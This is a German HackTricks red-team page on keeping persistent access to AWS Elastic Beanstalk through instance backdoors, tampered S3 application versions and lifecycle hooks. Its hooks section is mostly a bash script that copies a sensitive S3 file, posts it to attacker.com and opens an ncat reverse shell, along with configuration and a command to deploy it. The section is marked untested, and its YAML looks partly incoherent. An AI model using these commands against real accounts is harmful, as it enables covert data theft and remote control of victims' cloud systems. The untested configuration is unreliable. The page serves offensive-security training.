AWS - Elastic Beanstalk Persistence

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Elastic Beanstalk

Für weitere Informationen siehe:

pageAWS - Elastic Beanstalk Enum

Persistenz in der Instanz

Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnte ein Persistenzmechanismus innerhalb der Instanz eingeführt werden (Cron-Job, SSH-Schlüssel...), damit der Angreifer darauf zugreifen und IAM-Rollen Anmeldeinformationen aus dem Metadatendienst stehlen kann.

Hintertür in der Version

Ein Angreifer könnte den Code im S3-Repository manipulieren, sodass er immer seine Hintertür ausführt und den erwarteten Code.

Neue hintertürige Version

Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue hintertürige Version der Anwendung bereitstellen.

Missbrauch von benutzerdefinierten Ressourcen-Lebenszyklus-Hooks

TODO: Test

Elastic Beanstalk bietet Lebenszyklus-Hooks, mit denen Sie benutzerdefinierte Skripte während der Instanzbereitstellung und -beendigung ausführen können. Ein Angreifer könnte einen Lebenszyklus-Hook konfigurieren, um periodisch ein Skript auszuführen, das Daten exfiltriert oder den Zugriff auf das AWS-Konto aufrechterhält.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated